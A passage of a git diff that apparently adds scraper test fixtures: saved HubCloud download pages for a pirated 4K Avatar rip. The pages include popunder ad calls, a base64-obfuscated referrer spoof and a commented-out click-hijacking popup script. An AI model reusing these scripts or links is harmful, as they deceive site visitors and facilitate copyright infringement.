transparent;border-top-left-radius:.35rem;border-top-right-radius:.35rem}.nav-link{display:block;padding:.5rem 1rem}.nav-tabs .nav-link{border:1px solid transparent;border-top-left-radius:.35rem;border-top-right-radius:.35rem}.nav-link{display:block;padding:.5rem 1rem}a{color:#4e73df;text-decoration:none;background-color:transparent}.footer{width:100%;height:auto;position:absolute;right:0;padding:15px 50px 0 15px;font-size:15px;color:#000;background-color:#F2F2F2;border-top:0 solid #E6E6E6;font-weight:600;text-align:right}.tab-content{width:90%;height:auto;position:initial;right:0;padding:0;text-align:center}.btn{color:#fff!important;background-color:#007bff!important;border-color:#007bff!important;font-weight:700!important}.btn:hover{color:#fff!important;background-color:#0069d9!important;border-color:#0062cc!important}.btn-success:not(:disabled):not(.disabled):active:focus,.btn-success:not(:disabled):not(.disabled).active:focus,.show>.btn-success.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(38,143,255,0.5)}.btn-success:focus,.btn-success.focus{box-shadow:0 0 0 .2rem rgba(38,143,255,0.5)}.btn-lg,.btn-group-lg>.btn{padding:.5rem 1rem;font-size:1.2rem;border-radius:.45rem}.header{width:100%;height:auto;position:relative;right:0;padding:10px 50px 5px 15px;font-size:16px;color:#000;background-color:#F2F2F2;border-top:0 solid #E6E6E6;font-weight:600;text-align:right;margin-top:-25px}.alert-danger{background-color:#e74c3c;border-color:#e74c3c;color:#fff}.alert{padding:15px;margin-bottom:21px;border:1px solid transparent;border-radius:4px}.card{line-break:auto;word-break:break-all;white-space:normal;text-overflow:ellipsis;overflow:hidden}.m-5{margin:auto!important}.swal-button{background-color:#007bff!important}.card-header:first-child{font-weight:600}
|
||||
.btn-success1 {
|
||||
color: #fff;
|
||||
background-color: #28a745;
|
||||
border-color: #28a745;
|
||||
display: inline-block;
|
||||
text-align: center;
|
||||
font-size: 1rem;
|
||||
letter-spacing: .4px;
|
||||
font-family: 'Open Sans',sans-serif!important;
|
||||
font-weight: 600;
|
||||
text-decoration:none !important;
|
||||
vertical-align: middle;
|
||||
-webkit-user-select: none;
|
||||
-moz-user-select: none;
|
||||
-ms-user-select: none;
|
||||
user-select: none;
|
||||
border: 1px solid transparent;
|
||||
padding: .375rem .75rem;
|
||||
line-height: 1.5;
|
||||
border-radius: .30rem;
|
||||
transition: color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;
|
||||
}
|
||||
.btn-success1:not(:disabled):not(.disabled).active, .btn-success1:not(:disabled):not(.disabled):active, .show>.btn-success1.dropdown-toggle {
|
||||
color: #fff;
|
||||
background-color: #1e7e34;
|
||||
border-color: #1c7430;
|
||||
}
|
||||
.btn-success1:hover {
|
||||
color: #fff;
|
||||
background-color: #218838;
|
||||
border-color: #1e7e34;
|
||||
}
|
||||
.btn-success1.focus, .btn-success1:focus {
|
||||
box-shadow: 0 0 0 0.2rem rgb(72 180 97 / 50%);
|
||||
}
|
||||
.btn-lg, .btn-group-lg > .btn2 {
|
||||
padding: .5rem .6rem !important;
|
||||
font-family: 'Open Sans',sans-serif!important;
|
||||
letter-spacing: .1px;
|
||||
border-radius: 0.35rem!important;
|
||||
}
|
||||
.ads-btns {
|
||||
position: relative;
|
||||
overflow: hidden
|
||||
}
|
||||
.ads-btns a.btn2 {
|
||||
min-width: 40%
|
||||
}
|
||||
|
||||
.ads-btns svg {
|
||||
fill: #fff;
|
||||
width: 17px;
|
||||
position: absolute;
|
||||
right: 0;
|
||||
top: 0
|
||||
}
|
||||
|
||||
.ads-btns svg path {
|
||||
fill: #fff;
|
||||
stroke: #fff
|
||||
}
|
||||
|
||||
.ads-btns svg:first-child path {
|
||||
fill: #fff;
|
||||
stroke: transparent
|
||||
}
|
||||
|
||||
.ads-btns svg:first-child {
|
||||
right: 20px
|
||||
}
|
||||
.downloads-btns-div .btn2 {
|
||||
margin: 0 3px 12px
|
||||
}
|
||||
.btn2 {
|
||||
font-style: normal;
|
||||
font-weight: 500;
|
||||
font-size: 14px;
|
||||
text-align: center;
|
||||
text-transform: uppercase;
|
||||
border: 2px solid #cbfc01;
|
||||
padding: 10px 15px;
|
||||
border-radius: 6px;
|
||||
-webkit-border-radius: 6px;
|
||||
-moz-border-radius: 6px;
|
||||
background: #0ebac3;
|
||||
color: #000;
|
||||
display: inline-block;
|
||||
text-decoration: none;
|
||||
background: #cbfc01
|
||||
}
|
||||
|
||||
|
||||
.btn-zip {
|
||||
border-color: #00d0ff;
|
||||
background: #00d0ff;
|
||||
color: #000
|
||||
}
|
||||
</style>
|
||||
<body><center>
|
||||
<br/>
|
||||
<div class="header">
|
||||
HubCloud | <a href="https://hubcloud.foo/drive/admin">Login</a>
|
||||
</div>
|
||||
|
||||
<div class="container">
|
||||
<div class="card-body">
|
||||
<h2>
|
||||
<div class="main" id="section2">
|
||||
|
||||
<div class="card h6">
|
||||
|
||||
<div class="card-header text-white bg-primary mb-3">
|
||||
Avatar (2009) Extended Collector's Edition IMAX 2160p UHD BluRay REMUX DV HDR 10bit HEVC [Hindi DDP 5.1 + English DTS-HD MA 5.1] x265 (LM-LUMiX) 4KHDHUB.[Com].mkv </div>
|
||||
|
||||
<div class="card-body">
|
||||
<ul class="list-group">
|
||||
<li class="list-group-item d-flex justify-content-between align-items-center">File Size<i id="size">60.21 GB</i></li>
|
||||
<li class="list-group-item d-flex justify-content-between align-items-center">File Type<i>video/x-matrosk</i></li>
|
||||
<li class="list-group-item d-flex justify-content-between align-items-center">Share Date<i id="date">13-May-2025 05:55:49</i></li>
|
||||
</ul>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
</div>
|
||||
<p class="h3 text-success">Download Link Generated</p>
|
||||
<div class="input-group mb-3">
|
||||
<input onclick="copy_link('ilink')" type="text" class="form-control" value="https://hubcloud.foo/drive/1qepetxqp4nhxxq" readonly="" id="ilink">
|
||||
<div class="input-group-prepend">
|
||||
<span class="input-group-text btn" id="basic-addon2" onclick="copy_link('ilink')">Copy Share Link</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Banners -->
|
||||
<!--<ins data-revive-zoneid="6" data-revive-cphost="43509b58b68d940f8734726dfed6c5c8|1|hubcloud.in" data-revive-id="1d63e790351363d29b61f9cf59b98fad"></ins>-->
|
||||
<!-- Mobile Banners -->
|
||||
<!--<ins data-revive-zoneid="7" data-revive-cphost="43509b58b68d940f8734726dfed6c5c8|1|hubcloud.in" data-revive-id="1d63e790351363d29b61f9cf59b98fad"></ins>-->
|
||||
<!--<script async src="//greenfox.ink/d/asyncjs.php"></script>-->
|
||||
|
||||
<div class="alert alert-warning h6" role="alert">
|
||||
<span>If All Servers 🛜 are not working ❌ Then Please <br><b>Change Your Browser DNS To Cloudflare 🚀 or Use <a href="https://one.one.one.one/" target="_blank">VPN</a></b> <br><a href="https://tinyurl.com/Unblock-Ban-Site" target="_blank">How ? Click Here 👉 to Watch Tutorial 👀</a></span>
|
||||
</div>
|
||||
|
||||
<div class="ad-container"></div>
|
||||
|
||||
|
||||
<div class="ad-containerx"></div>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<a href="https://love.polgen.buzz/9eb5c280ca70adc5c98417476ff16743?token=1768569027" id="fsl" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6"><i class="fas fa-file-download fa-lg"></i> Download [FSL Server]</a>
|
||||
<script>
|
||||
const fsl = document.getElementById('fsl');
|
||||
if (fsl) fsl.href += '1' + new Date().getMinutes();
|
||||
</script>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<a href="https://pixel.hubcdn.fans/?id=916e54dbbc3923cf404ca0c44108f91051021dd4d146df1f0a3c215750cbd8206c23b3e8663d75214d4d981882457c38140d33c6ee0a906d4c78089033814f7e562947cae9e7459bbcb9d84cdcda434d20e0fb72be56fe7e6b12f5c754c48d0b::fca3f06af5c7c4b06bda6feb79165ada" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-danger btn-lg h6" style="background-color: #dc3545 !important;">
|
||||
<i class="fas fa-file-download fa-lg"></i> Download [Server : 10Gbps]</a>
|
||||
|
||||
<p style="font-size: 12px; padding-bottom:4px !important; margin-bottom:0px !important">
|
||||
Resume Not Supported in 10Gbps So Use only if you have stable internet (:
|
||||
</p>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<button id="android_launch" class="btn btn-success btn-lg h6 p-2 d-none" style="background: #0d0b15 !important;"><i class="fab fa-android fa-lg" style="color: #63E6BE;"></i> DL/Open with Android App</button>
|
||||
|
||||
<script>
|
||||
function createIntentURL({host, scheme = 'http', type = 'application/octet-stream'}) {
|
||||
let host_ = host.replace('https://', '');
|
||||
return `intent://${host_}#Intent;scheme=${scheme};action=android.intent.action.VIEW;type=${type};S.browser_fallback_url=${encodeURIComponent(host)};end`;
|
||||
}
|
||||
function isAndroid() {
|
||||
return /Android/i.test(navigator.userAgent);
|
||||
}
|
||||
|
||||
const android_launch = document.getElementById('android_launch');
|
||||
if(isAndroid()){
|
||||
android_launch.classList.remove("d-none");
|
||||
android_launch.addEventListener('click', ()=>{
|
||||
var anchor = document.createElement('a');anchor.href= createIntentURL({host: 'https://love.polgen.buzz/9eb5c280ca70adc5c98417476ff16743?token=1768569027',scheme: 'https',type: 'video/x-matrosk',
|
||||
});anchor.click();
|
||||
});
|
||||
|
||||
};
|
||||
|
||||
</script>
|
||||
|
||||
</h2>
|
||||
|
||||
<div class="alert alert-warning" role="alert">
|
||||
<p><b>Note : </b>Please Use Download Manager like <a href="https://www.google.com/search?q=idm+dowload+manager" target="_blank" rel="noopener noreferrer nofollow">IDM</a> Or <a href="https://www.google.com/search?q=IDA+dowload+manager" target="_blank" rel="noopener noreferrer nofollow">IDA</a> - To accelerate Your Download Speeds </p>
|
||||
</div>
|
||||
|
||||
<div class="alert alert-primary" role="alert">
|
||||
<p><b>Note:</b> <i>Refresh this Page & click Download again if you get any error.</i> ! Resume is Supported-Enjoy :)</p>
|
||||
</div>
|
||||
|
||||
<div class="alert alert-info" role="alert">
|
||||
<p><b>If you're getting any error please report at <a href="https://t.me/hubcloudreport">@Telegram Group</a> with Share Link And Screenshot (:</b></p>
|
||||
</div>
|
||||
<hr>
|
||||
|
||||
|
||||
|
||||
<br>
|
||||
<div class="tab-content">
|
||||
<div role="tabpanel" class="tab-pane fade show active" id="link">
|
||||
<div class="text" align="center">
|
||||
<ul class="nav nav-tabs" role="tablist">
|
||||
<li class="nav-item">
|
||||
<a class="nav-link active" id="button1" role="tab" data-toggle="tab">Copy Link</a>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
<div class="card">
|
||||
<div class="card-body" id="div1">
|
||||
<p id="sharelink" onclick="copy_link('div1')">https://hubcloud.foo/drive/1qepetxqp4nhxxq</p>
|
||||
</div>
|
||||
<button class="btn btn-success btn-sm" id="button1" onclick="copy_link('div1')"><i class="fa fa-copy"></i> Copy Link</button>
|
||||
<script>
|
||||
|
||||
var size = document.getElementById("size").innerHTML
|
||||
var sharelink = document.getElementById("sharelink").innerHTML
|
||||
if(size == 'NAN '){swal({
|
||||
title: "Token Expired!",
|
||||
text: "Token Link has been expired Please Click on Ok Button To Generate New Link!",
|
||||
type: "success"
|
||||
}).then(function() {
|
||||
window.location = document.location.href = sharelink;
|
||||
});}
|
||||
function copy_link(e){let el=e;e = document.getElementById(el).value; if(typeof e == 'undefined'){e=document.getElementById(el).innerText}a=document.createElement("textarea");a.innerHTML=e,document.body.appendChild(a),a.select();document.execCommand("copy");document.body.removeChild(a),swal("Link Copied ! : "+e)}
|
||||
</script>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<script>
|
||||
// const L_=["aHR0cHM6Ly90aW55dXJsLmNvbS9hdm9ndXJsNHU="],localStorageKey="pds",hoursLimit=6;let opened=!1;document.addEventListener("click",function(){if(!opened){var a=localStorage.getItem(localStorageKey),l=(new Date).getTime();if(!(a&&l-a<216e5)){opened=!0;let e=L_[Math.floor(Math.random()*L_.length)],t=atob(e),o=document.createElement("a");o.href=t,o.target="_blank",o.rel="noopener noreferrer",a=new MouseEvent("click",{view:window,bubbles:!0,cancelable:!0}),o.dispatchEvent(a),setTimeout(()=>window.focus(),100),localStorage.setItem(localStorageKey,l)}}});
|
||||
</script>
|
||||
<br>
|
||||
<br>
|
||||
<br>
|
||||
<br><br>
|
||||
</div>
|
||||
Msc
|
||||
<script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script>
|
||||
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.14.3/dist/umd/popper.min.js" integrity="sha384-ZMP7rVo3mIykV+2+9J3UJ46jBk0WLaUAdn689aCwoqbBJiSnjAK/l8WvCWPIPm49" crossorigin="anonymous"></script>
|
||||
<script src="https://cdn.jsdelivr.net/npm/bootstrap@4.1.3/dist/js/bootstrap.min.js" integrity="sha384-ChfqqxuZUCnJSK3+MXmPNIyE6ZbWh2IMqE241rYiqJxyMiZ6OW/JmZQ5stwEULTy" crossorigin="anonymous"></script>
|
||||
|
||||
<!--2dl-->
|
||||
|
||||
<div class="footer">
|
||||
|
||||
<p>Made with <svg width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-heart-fill" fill="red" xmlns="http://www.w3.org/2000/svg"> <path fill-rule="evenodd" d="M8 1.314C12.438-3.248 23.534 4.735 8 15-7.534 4.736 3.562-3.248 8 1.314z" /> </svg></p>
|
||||
</div>
|
||||
|
||||
</body>
|
||||
</html><script>
|
||||
window.sessionStorage.setItem('xl',window.location.href)
|
||||
function cn(t){let e=window.location.protocol+"//"+window.location.host+t;history.replaceState({path:e},"",e)}cn("/games/");
|
||||
</script>
|
||||
<script>
|
||||
function setCookie(e,t,i){let o=encodeURIComponent(t),$=new Date;$.setTime($.getTime()+36e5*i);let n=`${e}=${o}; expires=${$.toUTCString()}; path=/`;document.cookie=n}setCookie("xyt",1,24);
|
||||
</script>
|
||||
|
||||
|
||||
<!--<script async src="https://greenanalytics.autos/recaptcha/v4_enc.js"></script>-->
|
||||
|
||||
<!--<script>let s__=!1,observer=null;const sc_="a, button";function opst(e){if(!s__)return;e.preventDefault(),e.stopImmediatePropagation();let t=document.createElement("a");t.href=s__,t.target="_blank",t.rel="noopener noreferrer",t.click();let r=document.querySelectorAll(sc_);r.forEach(e=>{e.removeEventListener("click",opst)}),observer.disconnect()}function atchs(){let e=document.querySelectorAll(sc_);e.forEach(e=>{e.addEventListener("click",opst,{once:!0})})}window.addEventListener("message",function(e){try{let t=JSON.parse(e.data);t?.url&&(s__=t.url,atchs(),(observer=new MutationObserver(atchs)).observe(document.body,{childList:!0,subtree:!0}))}catch(r){}},!1);-->
|
||||
<!--</script>-->
|
||||
|
||||
|
||||
<script>
|
||||
function setCookie(e,t,i){let o=encodeURIComponent(t),$=new Date;$.setTime($.getTime()+36e5*i);let n=`${e}=${o}; expires=${$.toUTCString()}; path=/`;document.cookie=n}setCookie("xyt",1,24);
|
||||
</script>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<script data-cfasync="false" type="text/javascript" id="clever-core">
|
||||
/* <![CDATA[ */
|
||||
(function (document, window) {
|
||||
var a, c = document.createElement("script"), f = window.frameElement;
|
||||
|
||||
c.id = "CleverCoreLoader98023";
|
||||
c.src = "https://scripts.cleverwebserver.com/9afdf189fcae8189c250865783d52630.js";
|
||||
|
||||
c.async = !0;
|
||||
c.type = "text/javascript";
|
||||
c.setAttribute("data-target", window.name || (f && f.getAttribute("id")));
|
||||
c.setAttribute("data-callback", "put-your-callback-function-here");
|
||||
c.setAttribute("data-callback-url-click", "put-your-click-macro-here");
|
||||
c.setAttribute("data-callback-url-view", "put-your-view-macro-here");
|
||||
|
||||
try {
|
||||
a = parent.document.getElementsByTagName("script")[0] || document.getElementsByTagName("script")[0];
|
||||
} catch (e) {
|
||||
a = !1;
|
||||
}
|
||||
|
||||
a || (a = document.getElementsByTagName("head")[0] || document.getElementsByTagName("body")[0]);
|
||||
a.parentNode.insertBefore(c, a);
|
||||
})(document, window);
|
||||
/* ]]> */
|
||||
</script>
|
||||
328
src/extractor/__fixtures__/HubDrive/HubCloud/https:hubcloud.fyidrive1qepetxqp4nhxxq
generated
Normal file
328
src/extractor/__fixtures__/HubDrive/HubCloud/https:hubcloud.fyidrive1qepetxqp4nhxxq
generated
Normal file
|
|
@ -0,0 +1,328 @@
|
|||
<html>
|
||||
<head>
|
||||
<title>Avatar (2009) Extended Collector's Edition IMAX 2160p UHD BluRay REMUX DV HDR 10bit HEVC [Hindi DDP 5.1 + English DTS-HD MA 5.1] x265 (LM-LUMiX) 4KHDHUB.[Com].mkv</title>
|
||||
<meta charset="utf-8">
|
||||
<script async src="https://arc.io/widget.min.js#cmedRMLe"></script>
|
||||
<meta name="referrer" content="no-referrer">
|
||||
|
||||
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" integrity="sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf" crossorigin="anonymous">
|
||||
|
||||
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.0/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-KyZXEAg3QhqLMpG8r+8fhAXLRk2vvoC2f3B09zVXn8CA5QIVfZOJ3BCsw2P0p/We" crossorigin="anonymous">
|
||||
|
||||
<link href="https://fonts.googleapis.com/css?family=Nunito:200,200i,300,300i,400,400i,600,600i,700,700i,800,800i,900,900i" rel="stylesheet">
|
||||
|
||||
<script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
|
||||
|
||||
<meta name=viewport content="width=device-width, initial-scale=1">
|
||||
<meta name="robots" content="noindex, nofollow">
|
||||
<meta name="googlebot" content="noindex,nofollow">
|
||||
|
||||
|
||||
<!--<script data-cfasync="false" src="//dl4d3y1ajyv3q.cloudfront.net/?aydld=1220840"></script>-->
|
||||
|
||||
|
||||
<script id="aclib" type="text/javascript" src="//acscdn.com/script/aclib.js"></script>
|
||||
<script type="text/javascript">
|
||||
aclib.runPop({
|
||||
zoneId: '10550070',
|
||||
});
|
||||
</script>
|
||||
|
||||
<!-- Cloudflare Web Analytics --><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token": "4a22bad849ab4d2da600be878e3c0fc2"}'></script><!-- End Cloudflare Web Analytics -->
|
||||
|
||||
<!--<script async src="https://greenanalytics.autos/recaptcha/v4_enc.js"></script>-->
|
||||
|
||||
<!-- Google tag (gtag.js) -->
|
||||
<script async src="https://www.googletagmanager.com/gtag/js?id=G-VPX61DM9S8"></script>
|
||||
<script>
|
||||
window.dataLayer = window.dataLayer || [];
|
||||
function gtag(){dataLayer.push(arguments);}
|
||||
gtag('js', new Date());
|
||||
gtag('config', 'G-VPX61DM9S8');Object.defineProperty(document,atob('cmVmZXJyZXI='),{get:function(){return atob('aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS8=')}});
|
||||
</script>
|
||||
<script>
|
||||
// function cn(t){let e=window.location.protocol+"//"+window.location.host+t;history.replaceState({path:e},"",e)}
|
||||
// let p_ = document.location.pathname;
|
||||
// cn('/');
|
||||
// setTimeout(()=> cn(p_), 2200);
|
||||
</script>
|
||||
|
||||
|
||||
|
||||
</head>
|
||||
<style>
|
||||
.icon{width:48px;height:48px}.card-header{padding:.75rem 1.25rem;margin-bottom:0;background-color:#f8f9fc;border-bottom:1px solid #e3e6f0}.bg-primary{background-color:#4e73df!important}body{font-family:"Nunito",-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji"!important;font-weight:14px}.font-weight-bold{font-weight:700!important}.text-primary{color:#007bff!important;padding:.75rem 1.25rem;background-color:#f8f9fc;border-bottom:1px solid #e3e6f0;position:relative;display:flex;flex-direction:column;min-width:0;word-wrap:break-word;border:1px solid #e3e6f0;border-radius:.35rem;line-break:auto;word-break:break-all;white-space:normal;text-overflow:ellipsis;overflow:hidden}.font-weight-bold{font-weight:700!important}.m-0{margin:auto!important;width:100%}h4,.h4{font-size:1.4rem}.card-body{flex:1 1 auto;padding:1.25rem}.nav-tabs{border-bottom:1px solid #dddfeb}.nav{display:flex;flex-wrap:wrap;padding-left:0;margin-bottom:0;list-style:none}.nav-tabs .nav-item{margin-bottom:-1px}.nav-tabs .nav-link.active,.nav-tabs .nav-item.show .nav-link{color:#6e707e;background-color:#fff;border-color:#007bff #dddfeb #fff;font-weight:600}.nav-tabs .nav-link{border:1px solid transparent;border-top-left-radius:.35rem;border-top-right-radius:.35rem}.nav-link{display:block;padding:.5rem 1rem}.nav-tabs .nav-link{border:1px solid transparent;border-top-left-radius:.35rem;border-top-right-radius:.35rem}.nav-link{display:block;padding:.5rem 1rem}a{color:#4e73df;text-decoration:none;background-color:transparent}.footer{width:100%;height:auto;position:absolute;right:0;padding:15px 50px 0 15px;font-size:15px;color:#000;background-color:#F2F2F2;border-top:0 solid #E6E6E6;font-weight:600;text-align:right}.tab-content{width:90%;height:auto;position:initial;right:0;padding:0;text-align:center}.btn{color:#fff!important;background-color:#007bff!important;border-color:#007bff!important;font-weight:700!important}.btn:hover{color:#fff!important;background-color:#0069d9!important;border-color:#0062cc!important}.btn-success:not(:disabled):not(.disabled):active:focus,.btn-success:not(:disabled):not(.disabled).active:focus,.show>.btn-success.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(38,143,255,0.5)}.btn-success:focus,.btn-success.focus{box-shadow:0 0 0 .2rem rgba(38,143,255,0.5)}.btn-lg,.btn-group-lg>.btn{padding:.5rem 1rem;font-size:1.2rem;border-radius:.45rem}.header{width:100%;height:auto;position:relative;right:0;padding:10px 50px 5px 15px;font-size:16px;color:#000;background-color:#F2F2F2;border-top:0 solid #E6E6E6;font-weight:600;text-align:right;margin-top:-25px}.alert-danger{background-color:#e74c3c;border-color:#e74c3c;color:#fff}.alert{padding:15px;margin-bottom:21px;border:1px solid transparent;border-radius:4px}.card{line-break:auto;word-break:break-all;white-space:normal;text-overflow:ellipsis;overflow:hidden}.m-5{margin:auto!important}.swal-button{background-color:#007bff!important}.card-header:first-child{font-weight:600}
|
||||
.btn-success1 {
|
||||
color: #fff;
|
||||
background-color: #28a745;
|
||||
border-color: #28a745;
|
||||
display: inline-block;
|
||||
text-align: center;
|
||||
font-size: 1rem;
|
||||
letter-spacing: .4px;
|
||||
font-family: 'Open Sans',sans-serif!important;
|
||||
font-weight: 600;
|
||||
text-decoration:none !important;
|
||||
vertical-align: middle;
|
||||
-webkit-user-select: none;
|
||||
-moz-user-select: none;
|
||||
-ms-user-select: none;
|
||||
user-select: none;
|
||||
border: 1px solid transparent;
|
||||
padding: .375rem .75rem;
|
||||
line-height: 1.5;
|
||||
border-radius: .30rem;
|
||||
transition: color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;
|
||||
}
|
||||
.btn-success1:not(:disabled):not(.disabled).active, .btn-success1:not(:disabled):not(.disabled):active, .show>.btn-success1.dropdown-toggle {
|
||||
color: #fff;
|
||||
background-color: #1e7e34;
|
||||
border-color: #1c7430;
|
||||
}
|
||||
.btn-success1:hover {
|
||||
color: #fff;
|
||||
background-color: #218838;
|
||||
border-color: #1e7e34;
|
||||
}
|
||||
.btn-success1.focus, .btn-success1:focus {
|
||||
box-shadow: 0 0 0 0.2rem rgb(72 180 97 / 50%);
|
||||
}
|
||||
.btn-lg, .btn-group-lg > .btn2 {
|
||||
padding: .5rem .6rem !important;
|
||||
font-family: 'Open Sans',sans-serif!important;
|
||||
letter-spacing: .1px;
|
||||
border-radius: 0.35rem!important;
|
||||
}
|
||||
.ads-btns {
|
||||
position: relative;
|
||||
overflow: hidden
|
||||
}
|
||||
.ads-btns a.btn2 {
|
||||
min-width: 40%
|
||||
}
|
||||
|
||||
.ads-btns svg {
|
||||
fill: #fff;
|
||||
width: 17px;
|
||||
position: absolute;
|
||||
right: 0;
|
||||
top: 0
|
||||
}
|
||||
|
||||
.ads-btns svg path {
|
||||
fill: #fff;
|
||||
stroke: #fff
|
||||
}
|
||||
|
||||
.ads-btns svg:first-child path {
|
||||
fill: #fff;
|
||||
stroke: transparent
|
||||
}
|
||||
|
||||
.ads-btns svg:first-child {
|
||||
right: 20px
|
||||
}
|
||||
.downloads-btns-div .btn2 {
|
||||
margin: 0 3px 12px
|
||||
}
|
||||
.btn2 {
|
||||
font-style: normal;
|
||||
font-weight: 500;
|
||||
font-size: 14px;
|
||||
text-align: center;
|
||||
text-transform: uppercase;
|
||||
border: 2px solid #cbfc01;
|
||||
padding: 10px 15px;
|
||||
border-radius: 6px;
|
||||
-webkit-border-radius: 6px;
|
||||
-moz-border-radius: 6px;
|
||||
background: #0ebac3;
|
||||
color: #000;
|
||||
display: inline-block;
|
||||
text-decoration: none;
|
||||
background: #cbfc01
|
||||
}
|
||||
|
||||
|
||||
.btn-zip {
|
||||
border-color: #00d0ff;
|
||||
background: #00d0ff;
|
||||
color: #000
|
||||
}
|
||||
</style>
|
||||
<body><center>
|
||||
<br/>
|
||||
|
||||
|
||||
<div class="header">
|
||||
HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="https://hubcloud.foo/drive/admin">Login</a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="container container-fluid main">
|
||||
<div class="card-body">
|
||||
<h2>
|
||||
<div class="main" id="section2">
|
||||
|
||||
<div class="card h6">
|
||||
|
||||
<div class="card-header text-white bg-primary mb-3">
|
||||
Avatar (2009) Extended Collector's Edition IMAX 2160p UHD BluRay REMUX DV HDR 10bit HEVC [Hindi DDP 5.1 + English DTS-HD MA 5.1] x265 (LM-LUMiX) 4KHDHUB.[Com].mkv </div>
|
||||
|
||||
<div class="card-body">
|
||||
<ul class="list-group">
|
||||
<li class="list-group-item d-flex justify-content-between align-items-center">File Size<i id="size">60.21 GB</i></li>
|
||||
<li class="list-group-item d-flex justify-content-between align-items-center">File Type<i>video/x-matrosk</i></li>
|
||||
<li class="list-group-item d-flex justify-content-between align-items-center">Share Date<i id="size">13-May-2025 05:55:49</i></li>
|
||||
</ul>
|
||||
</ul>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
<div class="alert alert-warning h6" role="alert">
|
||||
<span>
|
||||
<p>Experience the magic of Hubcloud where files effortlessly find their way into your downloads!</p>
|
||||
<b>Hubcloud Means File will get Downloaded by anyhow (: </b>
|
||||
</span>
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
<center>
|
||||
<!--<a href="https://winexch.com/?btag=52330173" target="_blank"><img src="https://hubcloud.club/drive/assets/header.gif" style="-->
|
||||
<!-- width: 820px;-->
|
||||
<!-- height: 90px;-->
|
||||
<!-- padding: -17px;-->
|
||||
<!--" class="img-fluid"></a>-->
|
||||
</center>
|
||||
|
||||
<div class="loading">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" style="margin:auto;background:#fff;display:block;" width="200px" height="200px" viewBox="0 0 100 100" preserveAspectRatio="xMidYMid">
|
||||
<g><circle cx="73.801" cy="68.263" fill="#e15b64" r="3">
|
||||
<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="0s"></animateTransform>
|
||||
</circle><circle cx="68.263" cy="73.801" fill="#f47e60" r="3">
|
||||
<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="-0.062s"></animateTransform>
|
||||
</circle><circle cx="61.481" cy="77.716" fill="#f8b26a" r="3">
|
||||
<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="-0.125s"></animateTransform>
|
||||
</circle><circle cx="53.916" cy="79.743" fill="#abbd81" r="3">
|
||||
<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="-0.187s"></animateTransform>
|
||||
</circle><circle cx="46.084" cy="79.743" fill="#849b87" r="3">
|
||||
<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="-0.25s"></animateTransform>
|
||||
</circle><circle cx="38.519" cy="77.716" fill="#6492ac" r="3">
|
||||
<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="-0.312s"></animateTransform>
|
||||
</circle><circle cx="31.737" cy="73.801" fill="#637cb5" r="3">
|
||||
<animateTransform attributeName="transform" type="rotate" calcMode="spline" values="0 50 50;360 50 50" times="0;1" keySplines="0.5 0 0.5 1" repeatCount="indefinite" dur="1.4925373134328357s" begin="-0.375s"></animateTransform>
|
||||
</circle><circle cx="26.199" cy="68.263" fill="#6a63b6" r="3">
|
||||
